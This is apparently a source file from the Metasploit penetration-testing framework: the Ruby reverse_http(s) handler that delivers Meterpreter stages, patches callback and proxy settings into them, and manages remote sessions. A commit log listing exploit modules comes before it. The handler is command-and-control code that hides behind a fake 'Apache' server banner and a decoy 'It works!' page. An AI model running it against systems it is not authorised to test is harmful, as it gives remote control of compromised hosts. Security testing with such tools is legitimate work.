2056ff6899
Squashed commit of the following: commit1dcad7c21bMerge:1a2f35d35d29f5Author: OJ <oj@buffered.io> Date: Thu Mar 19 14:43:27 2015 +1000 Land #4953 : Updated POSIX meterpreter binaries commit35d29f5d08Author: Brent Cook <bcook@rapid7.com> Date: Wed Mar 18 22:57:03 2015 -0500 update linux meterpreter bins commit1a2f35d806Merge:076f15f346b1d5Author: OJ <oj@buffered.io> Date: Thu Mar 19 12:41:20 2015 +1000 Land #4951: Dynamic URI generation for Java/Python reverse_http(s) commit076f15f933Merge:b33e7f43f8ed56Author: Spencer McIntyre <zeroSteiner@gmail.com> Date: Wed Mar 18 20:59:54 2015 -0400 Land #4792 @jakxx Publish It PUI file exploit commit3f8ed56a9aAuthor: Spencer McIntyre <zeroSteiner@gmail.com> Date: Wed Mar 18 20:57:58 2015 -0400 Add available space to the payload info commitb33e7f477cMerge:0d1f2055dd718eAuthor: joev <joev@metasploit.com> Date: Wed Mar 18 17:17:34 2015 -0500 Land #4947, h0ng10's TWiki exploit. commit346b1d539fAuthor: HD Moore <hd_moore@rapid7.com> Date: Wed Mar 18 16:24:01 2015 -0500 Revert Java back to static size for cache purposes (less cpu usage on startup) commit33bbf7cb7eAuthor: HD Moore <hd_moore@rapid7.com> Date: Wed Mar 18 16:08:11 2015 -0500 Dynamic URI generation for python/java http(s) stagers commit0d1f2055c5Merge:e943cb5dab4333Author: HD Moore <hd_moore@rapid7.com> Date: Wed Mar 18 15:31:22 2015 -0500 Lands #4949 which fixes #4845 commitdab4333867Author: rwhitcroft <rw81junk@gmail.com> Date: Wed Mar 18 16:07:46 2015 -0400 updated asm in block commit7ae97393e0Author: rwhitcroft <rw81junk@gmail.com> Date: Wed Mar 18 15:34:31 2015 -0400 fix x64/reverse_https stager shellcode commite943cb550fMerge:d152c41d1a2f58Author: OJ <oj@buffered.io> Date: Wed Mar 18 22:34:52 2015 +1000 Land #4585 : CVE-2015-0975 XXE in OpenNMS commitd1a2f58303Author: OJ <oj@buffered.io> Date: Wed Mar 18 22:17:44 2015 +1000 Fix of regex for file capture and format tweaks commit5dd718e4faAuthor: Hans-Martin Münch (h0ng10) <muench@mogwaisecurity.de> Date: Wed Mar 18 09:51:51 2015 +0100 Better description commit00de437918Author: Hans-Martin Münch (h0ng10) <muench@mogwaisecurity.de> Date: Wed Mar 18 09:45:08 2015 +0100 Initial commit commitfa7242388bAuthor: OJ <oj@buffered.io> Date: Wed Mar 18 18:18:54 2015 +1000 Move the module to the correct location commitd152c41826Merge:b46e5f8b62da42Author: OJ <oj@buffered.io> Date: Wed Mar 18 17:42:19 2015 +1000 Land #4934 : Proxy and auth support in reverse_http(s) commitb62da42927Merge:c607cf7b46e5f8Author: HD Moore <hd_moore@rapid7.com> Date: Wed Mar 18 01:51:15 2015 -0500 Merge branch 'master' into feature/add-proxies-to-wininet commitb46e5f8d13Merge:bd4738b97def50Author: OJ <oj@buffered.io> Date: Wed Mar 18 16:49:13 2015 +1000 Land #4295 : Refactory proxy-enabled payload handling commitc607cf7b11Merge:0513852bd4738bAuthor: HD Moore <hd_moore@rapid7.com> Date: Wed Mar 18 01:45:44 2015 -0500 Merging master commit97def50cc2Author: HD Moore <hd_moore@rapid7.com> Date: Wed Mar 18 01:26:59 2015 -0500 Whitespace cleanup commit8d3cb8bde5Author: HD Moore <hd_moore@rapid7.com> Date: Wed Mar 18 01:25:42 2015 -0500 Fix up meterpreter patching arguments and names commitef443c83b9Author: HD Moore <hd_moore@rapid7.com> Date: Wed Mar 18 01:21:53 2015 -0500 Fix overgreed search/replace commit390a704cc7Author: HD Moore <hd_moore@rapid7.com> Date: Wed Mar 18 01:19:05 2015 -0500 Cleanup proxyhost/proxyport arguments to match new names commitf7a06d8e44Author: HD Moore <hd_moore@rapid7.com> Date: Wed Mar 18 01:15:32 2015 -0500 Rework PROXY_{HOST|PORT|TYPE|USERNAME|PASSWORD) to the new syntax commit3aa8cb69a4Author: HD Moore <hd_moore@rapid7.com> Date: Wed Mar 18 01:08:09 2015 -0500 Fix two use cases of PROXYHOST/PROXYPORT commit87a489907cAuthor: HD Moore <hd_moore@rapid7.com> Date: Mon Dec 15 14:48:09 2014 -0600 Place an IPv6 proxy IP between brackets commit259db269bdAuthor: HD Moore <hd_moore@rapid7.com> Date: Tue Dec 2 15:36:14 2014 -0600 Remove user/pass and invalid class from the options commit2ab14e7e79Author: HD Moore <hd_moore@rapid7.com> Date: Wed Mar 18 01:01:10 2015 -0500 Adds IPv6 and option-related issues with the previous patch commit0601946830Author: HD Moore <hd_moore@rapid7.com> Date: Tue Dec 2 13:29:39 2014 -0600 Don't mandate and default PROXY_HOST (miscopy from the proxy stager) commita4df6d539fAuthor: HD Moore <hd_moore@rapid7.com> Date: Wed Mar 18 00:59:59 2015 -0500 Cleanup proxy handling code (consistency & bugs) One subtle bug was that each time a request was received, a null byte was being appended to the datastore options for PROXY_USERNAME and PROXY_PASSWORD. Eventually this would break new sessions. This change centralizes the proxy configuration and cleans up the logic. commit85fb534e63Author: HD Moore <hd_moore@rapid7.com> Date: Tue Dec 2 12:57:30 2014 -0600 Fix up the offset detection again, cleanup redundant code commit2f13988d7bAuthor: HD Moore <hd_moore@rapid7.com> Date: Tue Dec 2 12:33:53 2014 -0600 Use OptPort vs OptInt and cleanup the description commita01be365b0Author: HD Moore <hd_moore@rapid7.com> Date: Wed Mar 18 00:59:13 2015 -0500 Rework PROXYHOST/PROXYPORT to PROXY_HOST/PROXY_PORT This also cleans up the windows reverse_https_proxy stager. commitb197b7aaf0Author: jakxx <jakx.ppr@gmail.com> Date: Tue Mar 17 19:24:13 2015 -0400 Additional Updates -Removed unused mixin -Cleaned up Module name -Cleaned up author name commitbd4738b93eMerge:47a7f99ad7fa0ecAuthor: James Lee <egypt@metasploit.com> Date: Tue Mar 17 17:37:55 2015 -0500 Land #4827, capture and nbns fixups commitd7fa0ec669Author: James Lee <egypt@metasploit.com> Date: Tue Mar 17 17:36:45 2015 -0500 Let IPAddr#hton do the calculating commit47a7f99aaeMerge:d1d63785fd3637Author: Brent Cook <bcook@rapid7.com> Date: Tue Mar 17 16:22:46 2015 -0500 Land #4930, @hmoore-r7 winhttp stager certificate check commit085e6cc815Author: jakxx <jakx.ppr@gmail.com> Date: Tue Mar 17 16:39:56 2015 -0400 Implemented Recommended Changes -corrected spelling error -set only option to required -dumped header data to included file -Used Rex for jmp values commit0490af8ba8Author: jstnkndy <jstnkndy@gmail.com> Date: Tue Mar 17 10:20:22 2015 -0400 Added error checks, randomness, and uuid delimeter commitf3fc4003d0Author: jstnkndy <jstnkndy@gmail.com> Date: Tue Mar 17 10:19:40 2015 -0400 typo commitb92d243c0eMerge:e0a7f53766a07aAuthor: jstnkndy <jstnkndy@gmail.com> Date: Tue Mar 17 10:18:32 2015 -0400 Merge branch 'module-cve-2015-0975' of https://github.com/jstnkndy/metasploit-framework into module-cve-2015-0975 commite0a7f531ccAuthor: jstnkndy <jstnkndy@gmail.com> Date: Tue Mar 17 10:10:51 2015 -0400 Added error checking, randomness, uuid delimiters commit2ea984423bAuthor: HD Moore <hd_moore@rapid7.com> Date: Mon Mar 16 14:08:01 2015 -0500 while(true)->loop, use thread.join commit5fd3637d34Author: HD Moore <hd_moore@rapid7.com> Date: Mon Mar 16 14:00:51 2015 -0500 Remove the i32 size specifier (not needed) commit69d9280748Author: HD Moore <hd_moore@rapid7.com> Date: Mon Mar 16 13:52:13 2015 -0500 Fix yard docs, retries, push.i8 instructions. See commit05138524e3Note that StagerRetryCount is not defined here, but will be in the parent class once #4934 lands commit05138524e3Author: HD Moore <hd_moore@rapid7.com> Date: Mon Mar 16 13:35:36 2015 -0500 Fix yard docs, fix retries, trim bytes, retested and working commit69a808b744Author: HD Moore <hd_moore@rapid7.com> Date: Mon Mar 16 12:14:42 2015 -0500 StagerProxy -> PayloadProxy commitf361e4ee52Author: HD Moore <hd_moore@rapid7.com> Date: Mon Mar 16 00:22:10 2015 -0500 Prefer the new-style proxy datastore options when available commit7e89281485Author: HD Moore <hd_moore@rapid7.com> Date: Mon Mar 16 00:03:31 2015 -0500 Adds proxy (with authentication) support to reverse_http(s) commit8e37342c50Author: HD Moore <hd_moore@rapid7.com> Date: Sat Mar 14 16:52:04 2015 -0500 Comment typo commit0d12ca49a7Author: HD Moore <hd_moore@rapid7.com> Date: Sat Mar 14 16:19:13 2015 -0500 Work around lack of option normalization during size calculation commit03019cf451Author: HD Moore <hd_moore@rapid7.com> Date: Sat Mar 14 15:53:21 2015 -0500 Adds StagerVerifySSLCert support (SHA1 of HandlerSSLCert) commit11593800b6Author: HD Moore <hd_moore@rapid7.com> Date: Sat Mar 14 15:52:23 2015 -0500 Move X509 PEM parsing into Rex::Parser::X509Certificate commit1001061a96Author: HD Moore <hd_moore@rapid7.com> Date: Wed Mar 4 18:52:18 2015 -0600 Initialize @capture_count commit1b1716bcf6Author: HD Moore <hd_moore@rapid7.com> Date: Sun Feb 22 22:01:01 2015 -0600 Fix a handful of bugs that broke this modules. Fixes #4799 commit9730a1655eAuthor: HD Moore <hd_moore@rapid7.com> Date: Sun Feb 22 22:00:42 2015 -0600 Small cleanups to the LLMR responder module commitbdd5276524Author: HD Moore <hd_moore@rapid7.com> Date: Sun Feb 22 21:53:47 2015 -0600 This fixes a number of issues with the Capture mixin * The use of www.metasploit.com in a datastore option results in a DNS lookup (infoleak). Switch to 8.8.8.8 (TTL=1) * The hackey code around #each_packet is no longer necessary in newer Ruby versions * The arp()/probe_gateway() calls to inject_reply() had broken logic leading to early exit and missed replies * The arp() function now tries up to three times to get a reply (helpful with lossy L2) * GC.start is extraneous and should be removed * Increased timeouts commit615d71de6eAuthor: HD Moore <hd_moore@rapid7.com> Date: Sun Feb 22 21:51:33 2015 -0600 Remove extraneous calls to GC.start() commit44a7e7e4bcAuthor: jakxx <jakx.ppr@gmail.com> Date: Wed Feb 18 13:22:54 2015 -0500 publish-it fileformat exploit commit766a07a904Author: jstnkndy <jstnkndy@gmail.com> Date: Tue Jan 13 22:08:08 2015 -0500 Add CVE-2015-0975 XXE for OpenNMS <= 14.0.2
363 lines
12 KiB
Ruby
363 lines
12 KiB
Ruby
# -*- coding: binary -*-
|
|
require 'rex/io/stream_abstraction'
|
|
require 'rex/sync/ref'
|
|
require 'msf/core/handler/reverse_http/uri_checksum'
|
|
require 'rex/payloads/meterpreter/patch'
|
|
|
|
module Msf
|
|
module Handler
|
|
|
|
###
|
|
#
|
|
# This handler implements the HTTP SSL tunneling interface.
|
|
#
|
|
###
|
|
module ReverseHttp
|
|
|
|
include Msf::Handler
|
|
include Msf::Handler::ReverseHttp::UriChecksum
|
|
|
|
#
|
|
# Returns the string representation of the handler type
|
|
#
|
|
def self.handler_type
|
|
return "reverse_http"
|
|
end
|
|
|
|
#
|
|
# Returns the connection-described general handler type, in this case
|
|
# 'tunnel'.
|
|
#
|
|
def self.general_handler_type
|
|
"tunnel"
|
|
end
|
|
|
|
#
|
|
# Initializes the HTTP SSL tunneling handler.
|
|
#
|
|
def initialize(info = {})
|
|
super
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('LHOST', [ true, "The local listener hostname" ]),
|
|
OptPort.new('LPORT', [ true, "The local listener port", 8080 ])
|
|
], Msf::Handler::ReverseHttp)
|
|
|
|
register_advanced_options(
|
|
[
|
|
OptString.new('ReverseListenerComm', [ false, 'The specific communication channel to use for this listener']),
|
|
OptInt.new('SessionExpirationTimeout', [ false, 'The number of seconds before this session should be forcibly shut down', (24*3600*7)]),
|
|
OptInt.new('SessionCommunicationTimeout', [ false, 'The number of seconds of no activity before this session should be killed', 300]),
|
|
OptString.new('MeterpreterUserAgent', [ false, 'The user-agent that the payload should use for communication', 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)' ]),
|
|
OptString.new('MeterpreterServerName', [ false, 'The server header that the handler will send in response to requests', 'Apache' ]),
|
|
OptAddress.new('ReverseListenerBindAddress', [ false, 'The specific IP address to bind to on the local system']),
|
|
OptInt.new('ReverseListenerBindPort', [ false, 'The port to bind to on the local system if different from LPORT' ]),
|
|
OptBool.new('OverrideRequestHost', [ false, 'Forces clients to connect to LHOST:LPORT instead of keeping original payload host', false ]),
|
|
OptString.new('HttpUnknownRequestResponse', [ false, 'The returned HTML response body when the handler receives a request that is not from a payload', '<html><body><h1>It works!</h1></body></html>' ])
|
|
], Msf::Handler::ReverseHttp)
|
|
end
|
|
|
|
# Determine where to bind the server
|
|
#
|
|
# @return [String]
|
|
def listener_address
|
|
if datastore['ReverseListenerBindAddress'].to_s == ""
|
|
bindaddr = Rex::Socket.is_ipv6?(datastore['LHOST']) ? '::' : '0.0.0.0'
|
|
else
|
|
bindaddr = datastore['ReverseListenerBindAddress']
|
|
end
|
|
|
|
bindaddr
|
|
end
|
|
|
|
# Return a URI suitable for placing in a payload
|
|
#
|
|
# @return [String] A URI of the form +scheme://host:port/+
|
|
def listener_uri
|
|
uri_host = Rex::Socket.is_ipv6?(listener_address) ? "[#{listener_address}]" : listener_address
|
|
"#{scheme}://#{uri_host}:#{datastore['LPORT']}/"
|
|
end
|
|
|
|
# Return a URI suitable for placing in a payload.
|
|
#
|
|
# Host will be properly wrapped in square brackets, +[]+, for ipv6
|
|
# addresses.
|
|
#
|
|
# @return [String] A URI of the form +scheme://host:port/+
|
|
def payload_uri(req)
|
|
if req and req.headers and req.headers['Host'] and not datastore['OverrideRequestHost']
|
|
callback_host = req.headers['Host']
|
|
elsif ipv6?
|
|
callback_host = "[#{datastore['LHOST']}]:#{datastore['LPORT']}"
|
|
else
|
|
callback_host = "#{datastore['LHOST']}:#{datastore['LPORT']}"
|
|
end
|
|
"#{scheme}://#{callback_host}/"
|
|
end
|
|
|
|
# Use the {#refname} to determine whether this handler uses SSL or not
|
|
#
|
|
def ssl?
|
|
!!(self.refname.index("https"))
|
|
end
|
|
|
|
# URI scheme
|
|
#
|
|
# @return [String] One of "http" or "https" depending on whether we
|
|
# are using SSL
|
|
def scheme
|
|
(ssl?) ? "https" : "http"
|
|
end
|
|
|
|
# Create an HTTP listener
|
|
#
|
|
def setup_handler
|
|
|
|
comm = datastore['ReverseListenerComm']
|
|
if (comm.to_s == "local")
|
|
comm = ::Rex::Socket::Comm::Local
|
|
else
|
|
comm = nil
|
|
end
|
|
|
|
local_port = bind_port
|
|
|
|
|
|
# Start the HTTPS server service on this host/port
|
|
self.service = Rex::ServiceManager.start(Rex::Proto::Http::Server,
|
|
local_port,
|
|
listener_address,
|
|
ssl?,
|
|
{
|
|
'Msf' => framework,
|
|
'MsfExploit' => self,
|
|
},
|
|
comm,
|
|
(ssl?) ? datastore["HandlerSSLCert"] : nil
|
|
)
|
|
|
|
self.service.server_name = datastore['MeterpreterServerName']
|
|
|
|
# Create a reference to ourselves
|
|
obj = self
|
|
|
|
# Add the new resource
|
|
service.add_resource("/",
|
|
'Proc' => Proc.new { |cli, req|
|
|
on_request(cli, req, obj)
|
|
},
|
|
'VirtualDirectory' => true)
|
|
|
|
print_status("Started #{scheme.upcase} reverse handler on #{listener_uri}")
|
|
lookup_proxy_settings
|
|
end
|
|
|
|
#
|
|
# Removes the / handler, possibly stopping the service if no sessions are
|
|
# active on sub-urls.
|
|
#
|
|
def stop_handler
|
|
if self.service
|
|
self.service.remove_resource("/")
|
|
Rex::ServiceManager.stop_service(self.service) if self.pending_connections == 0
|
|
end
|
|
end
|
|
|
|
attr_accessor :service # :nodoc:
|
|
|
|
protected
|
|
|
|
#
|
|
# Parses the proxy settings and returns a hash
|
|
#
|
|
def lookup_proxy_settings
|
|
info = {}
|
|
return @proxy_settings if @proxy_settings
|
|
|
|
if datastore['PayloadProxyHost'].to_s == ""
|
|
@proxy_settings = info
|
|
return @proxy_settings
|
|
end
|
|
|
|
info[:host] = datastore['PayloadProxyHost'].to_s
|
|
info[:port] = (datastore['PayloadProxyPort'] || 8080).to_i
|
|
info[:type] = datastore['PayloadProxyType'].to_s
|
|
|
|
uri_host = info[:host]
|
|
|
|
if Rex::Socket.is_ipv6?(uri_host)
|
|
uri_host = "[#{info[:host]}]"
|
|
end
|
|
|
|
info[:info] = "#{uri_host}:#{info[:port]}"
|
|
|
|
if info[:type] == "SOCKS"
|
|
info[:info] = "socks=#{info[:info]}"
|
|
else
|
|
info[:info] = "http://#{info[:info]}"
|
|
if datastore['PayloadProxyUser'].to_s != ""
|
|
info[:username] = datastore['PayloadProxyUser'].to_s
|
|
end
|
|
if datastore['PayloadProxyPass'].to_s != ""
|
|
info[:password] = datastore['PayloadProxyPass'].to_s
|
|
end
|
|
end
|
|
|
|
@proxy_settings = info
|
|
end
|
|
|
|
#
|
|
# Parses the HTTPS request
|
|
#
|
|
def on_request(cli, req, obj)
|
|
resp = Rex::Proto::Http::Response.new
|
|
|
|
print_status("#{cli.peerhost}:#{cli.peerport} Request received for #{req.relative_resource}...")
|
|
|
|
uri_match = process_uri_resource(req.relative_resource)
|
|
|
|
# Process the requested resource.
|
|
case uri_match
|
|
when /^\/INITPY/
|
|
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
|
|
url = payload_uri(req) + conn_id + '/'
|
|
|
|
blob = ""
|
|
blob << obj.generate_stage
|
|
|
|
var_escape = lambda { |txt|
|
|
txt.gsub('\\', '\\'*8).gsub('\'', %q(\\\\\\\'))
|
|
}
|
|
|
|
# Patch all the things
|
|
blob.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(url)}'")
|
|
blob.sub!('HTTP_EXPIRATION_TIMEOUT = 604800', "HTTP_EXPIRATION_TIMEOUT = #{datastore['SessionExpirationTimeout']}")
|
|
blob.sub!('HTTP_COMMUNICATION_TIMEOUT = 300', "HTTP_COMMUNICATION_TIMEOUT = #{datastore['SessionCommunicationTimeout']}")
|
|
blob.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(datastore['MeterpreterUserAgent'])}'")
|
|
|
|
unless datastore['PayloadProxyHost'].blank?
|
|
proxy_url = "http://#{datastore['PayloadProxyHost']||datastore['PROXYHOST']}:#{datastore['PayloadProxyPort']||datastore['PROXYPORT']}"
|
|
blob.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(proxy_url)}'")
|
|
end
|
|
|
|
resp.body = blob
|
|
|
|
# Short-circuit the payload's handle_connection processing for create_session
|
|
create_session(cli, {
|
|
:passive_dispatcher => obj.service,
|
|
:conn_id => conn_id,
|
|
:url => url,
|
|
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
|
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
|
:ssl => ssl?,
|
|
})
|
|
self.pending_connections += 1
|
|
|
|
when /^\/INITJM/
|
|
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
|
|
url = payload_uri(req) + conn_id + "/\x00"
|
|
|
|
blob = ""
|
|
blob << obj.generate_stage
|
|
|
|
# This is a TLV packet - I guess somewhere there should be an API for building them
|
|
# in Metasploit :-)
|
|
packet = ""
|
|
packet << ["core_switch_url\x00".length + 8, 0x10001].pack('NN') + "core_switch_url\x00"
|
|
packet << [url.length+8, 0x1000a].pack('NN')+url
|
|
packet << [12, 0x2000b, datastore['SessionExpirationTimeout'].to_i].pack('NNN')
|
|
packet << [12, 0x20019, datastore['SessionCommunicationTimeout'].to_i].pack('NNN')
|
|
blob << [packet.length+8, 0].pack('NN') + packet
|
|
|
|
resp.body = blob
|
|
|
|
# Short-circuit the payload's handle_connection processing for create_session
|
|
create_session(cli, {
|
|
:passive_dispatcher => obj.service,
|
|
:conn_id => conn_id,
|
|
:url => url,
|
|
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
|
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
|
:ssl => ssl?
|
|
})
|
|
|
|
when /^\/A?INITM?/
|
|
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
|
|
url = payload_uri(req) + conn_id + "/\x00"
|
|
|
|
print_status("#{cli.peerhost}:#{cli.peerport} Staging connection for target #{req.relative_resource} received...")
|
|
resp['Content-Type'] = 'application/octet-stream'
|
|
|
|
blob = obj.stage_payload
|
|
|
|
#
|
|
# Patch options into the payload
|
|
#
|
|
Rex::Payloads::Meterpreter::Patch.patch_passive_service! blob,
|
|
:ssl => ssl?,
|
|
:url => url,
|
|
:expiration => datastore['SessionExpirationTimeout'],
|
|
:comm_timeout => datastore['SessionCommunicationTimeout'],
|
|
:ua => datastore['MeterpreterUserAgent'],
|
|
:proxy_host => datastore['PayloadProxyHost'],
|
|
:proxy_port => datastore['PayloadProxyPort'],
|
|
:proxy_type => datastore['PayloadProxyType'],
|
|
:proxy_user => datastore['PayloadProxyUser'],
|
|
:proxy_pass => datastore['PayloadProxyPass']
|
|
|
|
resp.body = encode_stage(blob)
|
|
|
|
# Short-circuit the payload's handle_connection processing for create_session
|
|
create_session(cli, {
|
|
:passive_dispatcher => obj.service,
|
|
:conn_id => conn_id,
|
|
:url => url,
|
|
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
|
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
|
:ssl => ssl?,
|
|
})
|
|
|
|
when /^\/CONN_.*\//
|
|
resp.body = ""
|
|
# Grab the checksummed version of CONN from the payload's request.
|
|
conn_id = req.relative_resource.gsub("/", "")
|
|
|
|
print_status("Incoming orphaned session #{conn_id}, reattaching...")
|
|
|
|
# Short-circuit the payload's handle_connection processing for create_session
|
|
create_session(cli, {
|
|
:passive_dispatcher => obj.service,
|
|
:conn_id => conn_id,
|
|
:url => payload_uri(req) + conn_id + "/\x00",
|
|
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
|
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
|
|
:ssl => ssl?,
|
|
})
|
|
|
|
else
|
|
print_status("#{cli.peerhost}:#{cli.peerport} Unknown request to #{uri_match} #{req.inspect}...")
|
|
resp.code = 200
|
|
resp.message = "OK"
|
|
resp.body = datastore['HttpUnknownRequestResponse'].to_s
|
|
end
|
|
|
|
cli.send_response(resp) if (resp)
|
|
|
|
# Force this socket to be closed
|
|
obj.service.close_client( cli )
|
|
end
|
|
|
|
protected
|
|
|
|
def bind_port
|
|
port = datastore['ReverseListenerBindPort'].to_i
|
|
port > 0 ? port : datastore['LPORT'].to_i
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
end
|
|
|